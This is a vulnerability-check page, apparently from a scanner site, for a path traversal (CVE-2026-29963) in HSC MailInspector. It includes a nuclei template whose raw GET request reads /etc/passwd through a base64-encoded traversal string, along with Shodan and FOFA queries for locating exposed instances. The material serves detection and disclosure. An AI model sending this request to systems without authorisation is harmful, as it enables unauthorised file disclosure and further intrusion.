HSC MailInspector - Unauthenticated Arbitrary File Read

highseverity

7.5CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

HSC MailInspector 5.3.3-7 contains a path traversal caused by improper validation of user-supplied input in /tap/dw.php text parameter, letting remote attackers access arbitrary files, exploit requires crafted request.

Impact

Remote attackers can access arbitrary files, leading to unauthorized disclosure of sensitive information.

Fix

Update to the latest version.

How to confirm it

Send: GET /mailinspector/tap/dw.php?name&sha1&ext=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3D%3D
Positive when: status 200 AND matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2026-29963 -u <target>

The full check

id: CVE-2026-29963

info:
  name: HSC MailInspector - Unauthenticated Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    HSC MailInspector 5.3.3-7 contains a path traversal caused by improper validation of user-supplied input in /tap/dw.php text parameter, letting remote attackers access arbitrary files, exploit requires crafted request.
  impact: |
    Remote attackers can access arbitrary files, leading to unauthorized disclosure of sensitive information.
  remediation: |
    Update to the latest version.
  reference:
    - https://github.com/sql3t0/cve-disclosures/blob/main/02_-_CVE-2026-29963_LFI%2BPath_Traversal.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29963
    - https://hsclabs.com/pt-br/mailinspector/
  classification:
    cve-id: CVE-2026-29963
    epss-score: 0.0266
    epss-percentile: 0.8582
    cwe-id: CWE-22
    cvss-score: 7.5
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  metadata:
    verified: true
    max-request: 1
    vendor: hsclabs
    product: mailinspector
    shodan-query: http.html:"mailinspector"
    fofa-query: body="mailinspector"
  tags: cve,cve2026,mailinspector,lfi,traversal,unauth

http:
  - raw:
      - |
        GET /mailinspector/tap/dw.php?name&sha1&ext=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3D%3D HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from